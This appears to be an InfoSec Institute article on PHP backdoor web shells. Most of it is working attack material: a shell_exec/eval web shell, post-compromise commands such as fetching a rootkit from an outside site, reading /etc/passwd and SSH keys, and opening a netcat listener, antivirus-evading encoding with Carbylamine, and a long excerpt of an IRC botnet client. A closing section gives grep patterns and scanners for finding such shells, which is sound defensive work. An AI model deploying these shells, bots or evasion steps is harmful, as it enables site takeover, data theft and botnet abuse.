A backdoor shell can be a PHP, ASP, JSP, etc. piece of code which can be uploaded on a site to gain or retain access and some privileges on a website. Once uploaded, it allows the attacker to execute commands through the shell_exec () function, upload/delete/modify/download files from the web server, and many more. For defacers, it allows them to navigate easily to the directory of the public_html or /var/www and modify the index of the page.

There are ways of attacking a web application in order to plant a backdoor shell on a website. Some cases or instances are below:

  1. Local File Inclusion – a web vulnerability that allows an attacker to inject directory traversal characters on a certain website or tamper data by using a Firefox add-on User-Agent switcher and spawn a shell.
  2. Remote Code Execution or Command Injection – can be achieved if a certain website accepts added strings of characters or arguments; the inputs are used as arguments for executing the command in the website’s hosting server.
  3. Structured Query Language Injection or SQLI – after the attacker gets the username and password of the website administrator, he or she could use that privilege to access the website admin panel and could possibly upload a backdoor shell using nullbyte injection on the image upload page.
  4. Sniffing
  5. Bruteforce Attacks – if possible attacks just cannot be done, then attackers may bruteforce the File Transfer Protocol or SSH Logins to get in the web server.
  6. Cross Site Scripting – if a user can can send requests and get responses from the victim, then it’s possible to backdoor a page.
  7. Social Engineering
  8. Remote File Inclusion

In this write-up, we will be talking about PHP backdoor shells since most websites are coded in PHP. Below is a simple PHP code that is very popular and is scattered all over the web (http://stackoverflow.com/questions/3115559/exploitable-php-functions; http://shipcodex.blogspot.com/2012/01/simple-php-backdoor-shell.html). This code allows an attacker to execute *nix commands (command execution/injection):

<?php

   if(isset($_GET['shell'])) echo("<pre>".shell_exec($_GET['shell']." &")."</pre>");

   if(isset($_GET['php'])) echo(eval(stripcslashes($_GET['php'])));

   if(isset($_GET['echo'])) echo($_GET['echo']);

?>

Suppose we saved this code as bb.php and uploaded this to a Linux web server, we need to append ?shell= at the end so that we can execute commands like:

uname -a
cat /etc/issue
wget www.whateversite.com/rootkit.pl
cat /etc/passwd
cat /var/www/config.inc
find / -name netcat
ifconfig | grep eth0
perl botnet.pl
ls -la
ps aux | grep root
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat /proc/self/environ
find / -perm -1000 -type d 2>/dev/null
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
perl -v
python -v
ruby -v
gcc -v
nc -lvp 1337



Today, coders and programmers have added more features to most backdoor shells that have a user interface for easier navigation. Take for example the r57, c99, and Ani-Shell backdoor shells. Some of the backdoor shells have features like email bombers, easy back-connect, file downloader or uploader, mysql dumper, run sql statements, web fuzzer, port scanner and many more.

Risky, isn’t it? If the backdoor shell is not removed as soon as possible, the attacker could use your website for malicious intent, like running his or her IRC botnets, hosting his phishing site, using your website for email spamming, and they could spread the backdoor shell across your files for backup purposes. And worst of all, the site could then be used to host their denial-of-service (DoS) or distributed denial-of-service attack (DDoS) shells (ex. host booter).

Unsecured backdoor shells can easily be found too by using google dorks like inurl:r57.php, intitle: MagicCoder | Version X70.01, inurl:c99.php, inurl:r00t.php, inurl:mma.php, etc. -thus, making them visible to other attackers.

Some backdoor shells are already detected as malicious files by antiviruses which is why some attackers use PHP encoders. There is also a new tool called Carbylamine PHP Encoder project so that C99 and r57 shells are not easily detected. It’s easy to use Carbylamine. Here is an example usage: php carbylamine.php <backdoor file to encode> <output of the file>

For example, I encode bb.php and renamed it as encoded.php. I can just type this code in the terminal emulator:

php carbylamine.php bb.php encoded.php

Want to learn more?? The InfoSec Institute Advanced Computer Forensics Training trains you on critical forensic skills that are difficult to master outside of a lab enviornment. Already know how to acquire forensically sound images? Perform file carving? Take your existing forensic knowledge further and sharpen your skills with this Advanced Computer Forensics Boot Camp from InfoSec Institute. Upon the completion of our Advanced Computer Forensics Boot Camp, students will know how to:
  • Perform Volume Shadow Copy (VSC) analysis
  • Advanced level file and data structure analysis for XP, Windows 7 and Server 2008/2012 systems
  • Timeline Analysis & Windows Application Analysis
  • iPhone Forensics

Here is the sample code for encoded.php:

<?php function KJnPCP($XZK)
{
$XZK=gzinflate(base64_decode($XZK));
 for($i=0;$i<strlen($XZK);$i++)
 {
$XZK[$i] = chr(ord($XZK[$i])-1);
 }
 return $XZK;
 }eval(KJnPCP("U1QEAm4gzkrXzCopSSvVVE3wcAuN0SjJTMvN1YjT0lJMS8ks0FS2LSxOs1fWBwsnpFWmpaAp1FdWVFfW0le2NQAr1LLBZmhhZiHCyLTypFzNktLirMKUktwkoDElaMqwmwHSizAEVdCG28GeGwA="));
?>

Notice the base64_decode and eval functions. We will be looking at those functions later.

And like I said, the PHP Backdoor shells can be used for malicious intent like running IRC bots or botnets. Attackers could execute their PHP IRC bot without saving the file in the web server, and they can just paste the whole script under the eval PHP code dialog box of a backdoor shell and press the Execute button. Take, for example, running a PHP IRC bot that has shell_exec function. (I didn’t coded this IRC bot. I found this on pastebin.com and decided to give it a try)

Now below is the screenshot I took after running the IRC bot by just using the Eval PHP code dialog box.

Sample configuration file for this PHP IRC bot (Not the full script):

<?
 set_time_limit(0);
error_reporting(0);
 class pBot
{
 var $config = array("server"=>"irc.freenode.net",
  "port"=>6667,
  "pass"=>"",
  "prefix"=>"infosecinstitutebackdoor",
  "maxrand"=>4,
  "chan"=>"#infosecinstitute",
  "key"=>"",
  "modes"=>"+iB-x",
  "password"=>"shipcode",
  "trigger"=>"!",
  "hostauth"=>"*" // * for any hostname
  );
 var $users = array();
 function start()
 {
  if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  $this->start();
  $ident = "";
  $alph = range("a","z");
  for($i=0;$i<$this->config['maxrand'];$i++)
  $ident .= $alph[rand(0,25)];
  if(strlen($this->config['pass'])>0)
  $this->send("PASS ".$this->config['pass']);
  $this->send("USER $ident 127.0.0.1 localhost :$ident");
  $this->set_nick();
  $this->main();
 }
 function main()
 {
  while(!feof($this->conn))
  {
  $this->buf = trim(fgets($this->conn,512));
  $cmd = explode(" ",$this->buf);
  if(substr($this->buf,0,6)=="PING :")
  {
  $this->send("PONG :".substr($this->buf,6));
  }
  if(isset($cmd[1]) && $cmd[1] =="001")
  {
  $this->send("MODE ".$this->nick." ".$this->config['modes']);
  $this->join($this->config['chan'],$this->config['key']);
  }
  if(isset($cmd[1]) && $cmd[1]=="433")
  {
  $this->set_nick();
  }
  if($this->buf != $old_buf)
  {
  $mcmd = array();
  $msg = substr(strstr($this->buf," :"),2);
  $msgcmd = explode(" ",$msg);
  $nick = explode("!",$cmd[0]);
  $vhost = explode("@",$nick[1]);
  $vhost = $vhost[1];
  $nick = substr($nick[0],1);
  $host = $cmd[0];
  if($msgcmd[0]==$this->nick)
  {
  for($i=0;$i<count($msgcmd);$i++)
  $mcmd[$i] = $msgcmd[$i+1];
  }
  else
  {
  for($i=0;$i<count($msgcmd);$i++)
  $mcmd[$i] = $msgcmd[$i];
  }
  if(count($cmd)>2)
  {
  switch($cmd[1])
  {
  case "QUIT":
  if($this->is_logged_in($host))
  {
  $this->log_out($host);
  }
  break;
  case "PART":
  if($this->is_logged_in($host))
  {
  $this->log_out($host);
  }
  break;
  case "PRIVMSG":
  if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  {
  if(substr($mcmd[0],0,1)==".")
  {
  switch(substr($mcmd[0],1))
  {
  case "user":
  if($mcmd[1]==$this->config['password'])
  {
  $this->privmsg($this->config['chan'],"[2auth2]: $nick logged in");
  $this->log_in($host);
  }
  else
  {
  $this->privmsg($this->config['chan'],"[2auth2]: Incorrect password from $nick");
  }
  break;
  }
  }
  }
  elseif($this->is_logged_in($host))
  {
  if(substr($mcmd[0],0,1)==".")
  {
  switch(substr($mcmd[0],1))
  {
  case "restart":
  $this->send("QUIT :restart");
  fclose($this->conn);
  $this->start();
  break;
  case "mail": //mail to from subject message
  if(count($mcmd)>4)
  {
  $header = "From: <".$mcmd[2].">";
  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  {
  $this->privmsg($this->config['chan'],"[2mail2]: Unable to send");
  }
  else
  {
  $this->privmsg($this->config['chan'],"[2mail2]: Message sent to 2".$mcmd[1]."2");
  }
  }
  break;
  case "dns":
  if(isset($mcmd[1]))
  {
  $ip = explode(".",$mcmd[1]);
  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  {
  $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  }
  else
  {
  $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  }
  }
  break;
  case "info":
  $this->privmsg($this->config['chan'],"[2info2]: [2httpd2: ".$_SERVER['SERVER_SOFTWARE']."] [2docroot2: ".$_SERVER['DOCUMENT_ROOT']."] [2domain2: ".$_SERVER['SERVER_NAME']."] [2admin2: ".$_SERVER['SERVER_ADMIN']."] [2url2:".$_SERVER['REQUEST_URI']."]");

This kind of IRC bot can also be considered as a backdoor because it allows an attacker to execute Linux commands. This is why it’s possible to backdoor the page again even if the administrator deletes the backdoor shell as long as he or she doesn’t end this process.

Detecting or Removing Backdoor Shells

If you suspect that your website has a possible backdoor shell because it is acting weird, kind of slow, and netstat is showing a connection established to IRC (Internet Relay Chat), then you should take down your website and display a maintenance mode. Act quickly before it’s too late because in some cases that I know, some websites that are backdoored could get banned or blacklisted.

Backdoor shells usually have obvious names.

Because most PHP backdoor shells use PHP functions such as passthru, shell_exec, system, phpinfo, base64_decode, edoced_46esab, chmod, mkdir, fopen, fclose, readfile, php_uname and eval, we can actually probe for possible backdoor scripts by using grep. We can list all these common functions by using this command in your terminal:

grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval) *(" /var/www

Note that you should have a shell or SSH access to your website in order to type the command above.

By executing the above command, we can look for possible scripts or backdoors in the /var/www directory.

Use your common sense while inspecting certain code detected by this command because it will also detect some php files that are normal and not backdoor shells.

You could also search one function for the grep command like to refine your searches:

grep -Rn "shell_exec *(" /var/www
grep -Rn "base64_decode *(" /var/www
grep -Rn "phpinfo *(" /var/www
grep -Rn "system *(" /var/www
grep -Rn "php_uname *(" /var/www
grep -Rn "chmod *(" /var/www
grep -Rn "fopen *(" /var/www
grep -Rn "fclose *(" /var/www
grep -Rn "readfile *(" /var/www
grep -Rn "edoced_46esab *(" /var/www
grep -Rn "eval *(" /var/www


I prefer grepping one function at a time so that I can really make sure that I can find those pesky backdoor shells one by one.

In my recent file analysis on PHP Backdoor shells, the php_uname function is commonly used by most IRC bots and botnets too. The eval and base64_decode PHP functions are used by encoded backdoor shells so you might want to run those backdoor shells in your localhost to check for it.

Grep is such a powerful command line kung-fu indeed. =)

There are also open source tools today that you can download in order to detect not only backdoor shells but also rootkits, sniffers, and malwares. You can use Chkrootkit which is an open source program which is fully tested on: Linux 2.0.x, 2.2.x, 2.4.x, 2.6.x, and 3.x.x, FreeBSD 2.2.x, 3.x, 4.x, 5.x and 7.x, OpenBSD 2.x, 3.x and 4.x., NetBSD 1.6.x, Solaris 2.5.1, 2.6, 8.0 and 9.0, HP-UX 11, Tru64, BSDI and Mac OS X or you can download the popular Rootkit Hunter (Open Source GPL Rootkit Scanner). Rootkit Hunter and Chkrootkit are pre-installed tools in BackTrack5 and are under Anti-Virus Forensic Tools.

You can also try out Bothunter which is a network-based botnet diagnosis system which tracks the two-way communication flows between your personal computer and the Internet. Bothunter is available for Linux and Unix but now they have released a Private Test Release.

Some of these tools may be useless since some backdoor shells are encoded or obfuscated so that rootkit and antivirus detections can be bypassed and avoided. Thus, manual probing of possible backdoor shells using the grep command should be the last resort!

References:

http://25yearsofprogramming.com/blog/2010/20100315.htm

http://www.bothunter.net/

http://stackoverflow.com/questions/3115559/exploitable-php-functions

http://shipcodex.blogspot.com/2012/01/simple-php-backdoor-shell.html